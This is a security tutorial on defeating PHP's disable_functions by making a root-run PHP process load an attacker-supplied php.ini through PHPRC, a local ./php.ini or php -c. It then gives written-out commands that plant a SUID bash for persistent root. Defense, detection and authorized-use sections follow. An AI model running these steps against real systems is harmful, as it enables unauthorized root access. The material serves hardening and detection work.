
disable_functions is config, not a wall: own the php.ini
You have PHP code execution but system, exec, and proc_open are blocked by disable_functions. Before hunting for an allowed primitive, check whether you can change which php.ini the process reads, because those restrictions are configuration, not something compiled into the binary. If you control how PHP is launched, you control the restrictions.
Confirm the block is config
echo ini_get('disable_functions'); // the blocklist, loaded from php.ini
This is the whole point: the blocklist is a line in an INI file. PHP decides which INI file to read from its environment and arguments, and any of three things you might influence overrides the system one.
Make PHP read your php.ini
The dangerous case is a root-owned daemon that runs PHP on a file or field you submit (a rule engine, a template processor, a "run this snippet" utility). It often inherits an environment you can influence or runs in a directory you can write. Any one of these makes PHP load your INI:
export PHPRC=/tmp/evil # PHP reads /tmp/evil/php.ini
# /tmp/evil/php.ini:
# disable_functions = (empty: everything re-enabled)
# open_basedir =
# or: drop php.ini in the script's working directory (CLI PHP reads ./php.ini)
# or: invoke php -c /tmp/evil/php.ini
With the restrictions gone, convert the now-unrestricted PHP (running as root) into a durable shell:
php -r 'system("cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash");'
/tmp/rootbash -p # euid 0
Use the SUID-bash payload, not a bare system("/bin/bash"): a daemon has no tty, so an interactive shell dies, but the SUID bit survives the process exiting and gives you root on demand.
Two limits worth knowing: PHPRC only helps if you can set the target process's environment or its working directory, and a plain mod_php webshell cannot reset its own php.ini this way (there, enumerate an allowed primitive instead). The theme generalizes: own the config a privileged program trusts, whether that is a php.ini, a git config, or an XDG directory.
Defense
The root cause is treating a php.ini blocklist as a security boundary and letting a privileged process load an untrusted one.
- Do not rely on
disable_functionsas a privilege boundary. It is a hardening speed bump, not a sandbox. Real isolation is a separate low-privilege user, a container, or seccomp, so that even full PHP exec cannot reach root. - Never run a privileged daemon that executes user-supplied PHP. If a feature must evaluate user input, do it in a locked-down worker that is not root and cannot write a SUID binary (mount its workspace
nosuid, drop capabilities). - Pin the configuration the daemon trusts. Clear
PHPRCfrom its environment, run it from a fixed directory it does not share with untrusted writers, and pass an explicit-c /etc/php/trusted.iniso a local./php.inior an inheritedPHPRCcannot win.
Detection
A PHP process executing system/exec despite a configured disable_functions, a daemon's environment carrying a PHPRC that points into a writable path, php -c referencing a temp directory, and a SUID bash (or any new SUID binary) appearing after PHP ran are each narrow signals. Audit execve for your PHP service account and alert on a child shell or a chmod u+s.
Use
Authorized and educational use only: your own systems, a lab you control, or an engagement with written permission. This shows why an INI blocklist is not a boundary so it is not relied on as one. The SUID-bash and systemd-confinement caveats connect to systemd confinement gotchas and living off the land on Linux.